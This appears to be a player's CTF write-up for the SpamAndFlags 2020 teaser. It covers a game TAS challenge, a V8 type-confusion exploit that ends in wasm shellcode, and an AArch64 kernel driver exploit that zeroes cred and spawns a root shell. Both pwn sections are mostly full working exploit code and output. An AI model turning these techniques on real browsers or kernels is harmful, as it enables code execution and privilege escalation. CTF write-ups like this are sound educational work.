I played "S㎩mAndFlags Uけimate w呎は屸de C㏊mᒆonship Teaser ꕫꕫ - ㎩㏚i㎄ Edition" in shibadogs. We reached 6th place :yay:
Thank you @SpamAndHex for hosting the CTF!
The tasks and my solvers are here:
[rev+misc] TAS (1-5)
Description: Time to take a break from CTFing and play some videogames! How fast can you complete it?? Server: nc 35.242.182.148 1337
TAS challenge. I wrote the most of key inputs manually. For the random-spike area, I wrote a script to RNG it. Some tips for reducing steps are:
- We can skip the second orb by using the invulnerable time after the player hits an enemy.
- The player can attack consecutively by repeating ATTACK and CROUCH.
Video:
(I played in shibadogs)
— ptr-yudai (@ptrYudai) 2020年5月10日
My solution of TAS: 1559 frames
Every move is written by hand except for RNGing the random spikes. pic.twitter.com/591kr6lQEN
[pwn] Nativity Scene
Description: Your mission, should you choose to accept it, is to exploit this tiny proof-of-concept JavaScript engine, called v8, that I wrote for a high-school assignment. I removed some stuff to make it more interesting and added an innocent little command-line flag, --allow-natives-syntax, to make it easier on you. See the build.sh file for helpful information. Server: nc 35.246.66.119 1337
This is a V8 challenge. The following small patch is applied to d8:
From d769eeee66a3550dc195f5f94bae12f2243b6956 Mon Sep 17 00:00:00 2001 From: tukanus superbus <pistukem@gmail.com> Date: Sat, 25 Apr 2020 16:59:27 +0200 Subject: [PATCH] Remove globals. --- src/d8/d8.cc | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/src/d8/d8.cc b/src/d8/d8.cc index d6d21bf5fa..a0729d50ad 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -1266,9 +1266,7 @@ MaybeLocal<Context> Shell::CreateRealm( } delete[] old_realms; } - Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate); - Local<Context> context = - Context::New(isolate, nullptr, global_template, global_object); + Local<Context> context = Context::New(isolate, nullptr, ObjectTemplate::New(isolate), v8::MaybeLocal<Value>()); DCHECK(!try_catch.HasCaught()); if (context.IsEmpty()) return MaybeLocal<Context>(); InitializeModuleEmbedderData(context); @@ -2175,9 +2173,8 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) { // This needs to be a critical section since this is not thread-safe base::MutexGuard lock_guard(context_mutex_.Pointer()); // Initialize the global objects - Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate); EscapableHandleScope handle_scope(isolate); - Local<Context> context = Context::New(isolate, nullptr, global_template); + Local<Context> context = Context::New(isolate, nullptr, ObjectTemplate::New(isolate)); DCHECK(!context.IsEmpty()); if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) { isolate->SetWasmLoadSourceMapCallback(ReadFile); -- 2.17.1
This patch just removed some global symbols. The base version of V8 is 8.1.307.31, which is nearly latest one. At first glance we can't confirm any vulnerabilities other than 0-day.
However, I accessed the server and found d8 was running with --allow-natives-syntax
in the server.
We started digging in the debug functions here.
After hours, @aventador found something interesting: %TypedArrayCopyElements
.
I found a bug on it by randomly using the function.
let a = new Uint32Array([1111,2222,3333]); let b = new Float32Array([1.1,2.2,3.3]); %TypedArrayCopyElements(a, b, 3); %DebugPrint(a);
The script above works fine but the following one crashes.
let a = new Uint32Array([1111,2222,3333]); let b = new Float32Array([1.1,2.2,3.3,4.4]); %TypedArrayCopyElements(a, b, 4); %DebugPrint(a);
It's easy to confirm Type Confusion by comparing the memory before and after %TypedArrayCopyElements
is called.
pwndbg> x/32xg 0x2fd2080826f4 0x2fd2080826f4: 0x080406e908241099 0x080826b1080826e1 0x2fd208082704: 0x0000000000000000 0x000000000000000c 0x2fd208082714: 0x0000000000000003 0x00002fd200000007 ... pwndbg> x/32xg 0x2fd2080826f4 0x2fd2080826f4: 0x080406e900000004 0x080826b1080826e1 0x2fd208082704: 0x0000000000000000 0x000000000000000c 0x2fd208082714: 0x0000000000000003 0x00002fd200000007 ...
The 4th element of b
(4.4) is converted into uint32 and copied to a
out of bounds.
So, we obviously have out-of-bounds write!
The example above causes type confusion.
Since the map of a
is invalid, a
is treated as String, which drops out-of-bounds read as well.
We need to gain ADDROF, AAR/AAW primitive.
ADDROF is easy.
I just put the address of target object after the buffer of a
and just read the address by oob.
addrof: function(obj) { let a = new Uint32Array([0xcafe,0xbabe,0xdead]); let victim = [obj, obj, obj, obj]; let b = new Float32Array([1.1,2.2,3.3,4.4]); %TypedArrayCopyElements(a, b, 4); // oob! var addr_hi = a[0x10].charCodeAt(0); var addr_lo = a[0x20].charCodeAt(0) | (a[0x21].charCodeAt(0) << 16); delete a; delete b; delete victim; return (BigInt(addr_hi) << BigInt(32)) | BigInt(addr_lo); },
AAR is not that hard as well. My idea is troublesome but somewhat reliable. First of all, we create 5 arrays in the following order.
| | +-----------------------+ | d (Uint32Array) | +-----------------------+ | a (Uint32Array) | +-----------------------+ | victim (Float64Array) | +-----------------------+ | | | b (Float64Array) | | | +-----------------------+ | c (Float32Array) | +-----------------------+ | |
Second, we use %TypedArrayCopyElements(a, c, XXX)
to confuse the type of a
as we did in ADDROF.
Then a
can be treated as String and we can leak the map of victim
.
Third, we use %TypedArrayCopyElements(b, d, XXX)
to overflow d
's buffer to overwrite the element pointer of victim
.
Since the map of victim
is also overwritten, I put the previously saved map address in b
so that it won't wipe the map of victim
.
Now the pointer of elements of victim
is overwritten to our address, which can cause AAR/AAW through victim
.
After that is a normal V8 pwn. I just leaked wasm code address and overwrote it with my shellcode.
/** * Utils */ let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } /** * Exploit */ function pwn() { var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); let module = new WebAssembly.Module(buffer); var instance = new WebAssembly.Instance(module); var main = instance.exports.main; /** * Primitive */ var primitive = { /* ADDROF */ addrof: function(obj) { let a = new Uint32Array([0xcafe,0xbabe,0xdead]); let victim = [obj, obj, obj, obj]; let b = new Float32Array([1.1,2.2,3.3,4.4]); %TypedArrayCopyElements(a, b, 4); // oob! var addr_hi = a[0x10].charCodeAt(0); var addr_lo = a[0x20].charCodeAt(0) | (a[0x21].charCodeAt(0) << 16); delete a; delete b; delete victim; return (BigInt(addr_hi) << BigInt(32)) | BigInt(addr_lo); }, /* AAR64 */ aar64: function(addr) { var addr_lo = Number(addr & BigInt("0xffffffff")) - 8; var addr_hi = Number(addr >> BigInt(32)); let d = new Uint32Array([0xcafe,0xbabe,0xdead]); let a = new Uint32Array([0xcafe,0xbabe,0xdead]); let victim = new Float64Array([3.14, 3.14, 3.14, 3.14]); let b = new Float64Array([ 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 3.14, 7, addr_lo, 7, 0, 0, 32, 0, 4, 0, 7, addr_hi, addr_lo ]); let c = new Float32Array([1.1,2.2,3.3,4.4]); %TypedArrayCopyElements(a, c, 4); // oob! var saved_map = a[128].charCodeAt(0) | (a[129].charCodeAt(0) << 16); b[0x70] = saved_map; // keep it Float64Array %TypedArrayCopyElements(d, b, 0x7d); // oob! var x = victim[0].f2i(); delete a delete b delete c delete d delete victim return x; }, /* AAW64 */ aaw64: function(addr, value) { var addr_lo = Number(addr & BigInt("0xffffffff")) - 8; var addr_hi = Number(addr >> BigInt(32)); let d = new Uint32Array([0xcafe,0xbabe,0xdead]); let a = new Uint32Array([0xcafe,0xbabe,0xdead]); let victim = new Float64Array([3.14, 3.14, 3.14, 3.14]); let b = new Float64Array([ 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9,10,11,12,13,14,15,16, 3.14, 7, addr_lo, 7, 0, 0, 32, 0, 4, 0, 7, addr_hi, addr_lo ]); let c = new Float32Array([1.1,2.2,3.3,4.4]); %TypedArrayCopyElements(a, c, 4); // oob! var saved_map = a[128].charCodeAt(0) | (a[129].charCodeAt(0) << 16); b[0x70] = saved_map; // keep it Float64Array %TypedArrayCopyElements(d, b, 0x7d); // oob! victim[0] = value; delete a delete b delete c delete d delete victim } } /* leak wasm pointer */ p_main = primitive.addrof(main); console.log("[+] p_main = " + p_main.hex()); var high = p_main & BigInt("0xffffffff00000000"); var p_shared_info = high | (primitive.aar64(p_main + BigInt(0xc)) & BigInt("0xffffffff")); console.log("[+] p_shared_info = " + p_shared_info.hex()); var p_code_info = high | (primitive.aar64(p_shared_info + BigInt(4)) & BigInt("0xffffffff")); console.log("[+] p_code_info = " + p_code_info.hex()); var p_wasm_inst = high | (primitive.aar64(p_code_info + BigInt(8)) & BigInt("0xffffffff")); console.log("[+] p_wasm_inst = " + p_wasm_inst.hex()); var p_code = primitive.aar64(p_wasm_inst + BigInt(0x68)); console.log("[+] p_code = " + p_code.hex()); /* write shellcode */ var shellcode = [ -0.0007617705599738453, 1.0880585577140108e-306, -1.695592521240708e-231 ] for(var i = 0; i < shellcode.length; i++) { primitive.aaw64((p_code|BigInt(1)) + BigInt(8*i), shellcode[i]); } /* ignite! */ main(); } pwn();
TADA!
[+] p_main = 0x21d30820f471 [+] p_shared_info = 0x21d30820f449 [+] p_code_info = 0x21d30820f429 [+] p_wasm_inst = 0x21d30820f351 [+] p_code = 0x24c6bf204000 ls d8 flag pow_and_run.py snapshot_blob.bin cat flag SaF{https://www.youtube.com/watch?v=bUx9yPS4ExY}
[pwn] Secstore #2
Description: > SSE-2020-17866: Memory corruption in secure storage - Fixed > Severity: Medium > Reported: May 09, 2020 06:20 > Submitter: p4 > A possible memory corruption primitive exists in the secure storage driver with unknown impact. > A patch prevents the root cause of the corruption. > All previously reported bugs are fixed in our product, unfortunately our open source mirror has not been updated yet. > This should not discourage talented bug hunters, the updated release is available here. Server: nc 35.246.107.166 1337
This is an AArch64 kernel exploit challenge.
@pr0cfs solved Secstore #1 and he'd already analysed most part of the kernel object and qemu patch. He also explained me a lot about how the kernel driver worked.
To summerize, it's a kind of note service in DMA.
The user interacts with the driver through read
/write
.
On write
, the user gives src
, dst
, size
where src
is the user-land buffer, dst
is the physical address of DMA, and size
is the length to store.
On read
, the user also gives src
, dst
, size
where src
is the physical address of DMA, dst
is the user-land buffer, and size
is the length to load.
As I understood how to program, I started fuzzing by hand. I found a curious leak after some attempts.
items[0].src = addr; items[0].dst = DMA_ADDR_1; items[0].size = size; items[0].ctrl = 0; write(fd, &items[0], sizeof(struct lli)); items[1].src = DMA_ADDR_1; items[1].dst = (uint64_t)buffer; items[1].size = size; items[1].ctrl = 0; read(fd, &items[1], sizeof(struct lli));
In the code above, it leaks some data when I set addr
to an address in kernel-land.
At first glance It seemed the leaked data were random everytime I run it and I'd been stuck here.
However, pr0cfs immediately found it was because I forgot to align the buffer
by 0x1000.
So, we got AAR/AAW by this and after that is pr0cfs's idea.
We just brute force to find current_task
(since KASLR is enabled) and fill cred
with 0.
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <stddef.h> #include <stdint.h> #include <fcntl.h> #include <assert.h> #include <string.h> #include <sys/prctl.h> #include <sys/mman.h> #define THREAD_NAME "godpr0cfs" #define THREAD_NAME_LEN 8 #define CHANGED_THREAD_NAME "sasuga!" #define CHANGED_THREAD_NAME_LEN 7 struct lli{ uint64_t src; uint64_t dst; uint32_t size; uint32_t ctrl; }; int devsec() { int fd = open("/dev/sec", O_RDWR); if (fd < 0) exit(1); return fd; } #define DMA_ADDR_1 0x1000 #define BUF_SIZE 0x1000 void AAR(uint64_t addr, char *data, uint32_t size) { int fd = devsec(); unsigned char *aligned = mmap(NULL, BUF_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); if (aligned == MAP_FAILED) exit(1); struct lli items[2]; items[0].src = addr; items[0].dst = DMA_ADDR_1; items[0].size = size; items[0].ctrl = 0; write(fd, &items[0], sizeof(struct lli)); items[1].src = DMA_ADDR_1; items[1].dst = (uint64_t)aligned; items[1].size = size; items[1].ctrl = 0; read(fd, &items[1], sizeof(struct lli)); memcpy(data, aligned, size); munmap(aligned, BUF_SIZE); close(fd); } void AAW(uint64_t addr, char *data, uint32_t size) { int fd = devsec(); unsigned char *aligned = mmap(NULL, BUF_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); if (aligned == MAP_FAILED) exit(1); struct lli items[2]; memcpy(aligned, data, size); items[0].src = (uint64_t)aligned; items[0].dst = DMA_ADDR_1; items[0].size = size; items[0].ctrl = 0; write(fd, &items[0], sizeof(struct lli)); items[1].src = DMA_ADDR_1; items[1].dst = addr; items[1].size = size; items[1].ctrl = 0; read(fd, &items[1], sizeof(struct lli)); munmap(aligned, BUF_SIZE); close(fd); } int main(int argc, char **argv) { uint64_t comm_addr, search_addr, cred; uint8_t *probe_ptr1, *probe_ptr2; char buffer[BUF_SIZE] = {0}; setbuf(stdout, NULL); /* find current_task */ prctl(PR_SET_NAME, THREAD_NAME); //search_addr = 0xffff000045a00000; search_addr = 0xffff000045900000; while(1) { AAR(search_addr, buffer, BUF_SIZE); if (probe_ptr1 = memmem(buffer, BUF_SIZE, THREAD_NAME, THREAD_NAME_LEN)) { prctl(PR_SET_NAME, CHANGED_THREAD_NAME); AAR(search_addr, buffer, BUF_SIZE); if ((probe_ptr2 = memmem(buffer, BUF_SIZE, CHANGED_THREAD_NAME, CHANGED_THREAD_NAME_LEN)) && (probe_ptr2 == probe_ptr1)) { puts("[+] Found current_task"); break; } } search_addr += BUF_SIZE; } comm_addr = search_addr + ((uint64_t)probe_ptr1 - (uint64_t)buffer); AAR(comm_addr - 0x10, (void*)&cred, 8); puts("[+] Overwriting cred..."); /* get rooted */ memset(buffer, 0, 0x80); AAW(cred, buffer, 0x80); puts("[+] You win!"); system("/bin/sh"); return 0; }
It takes time to find the right address but it worked!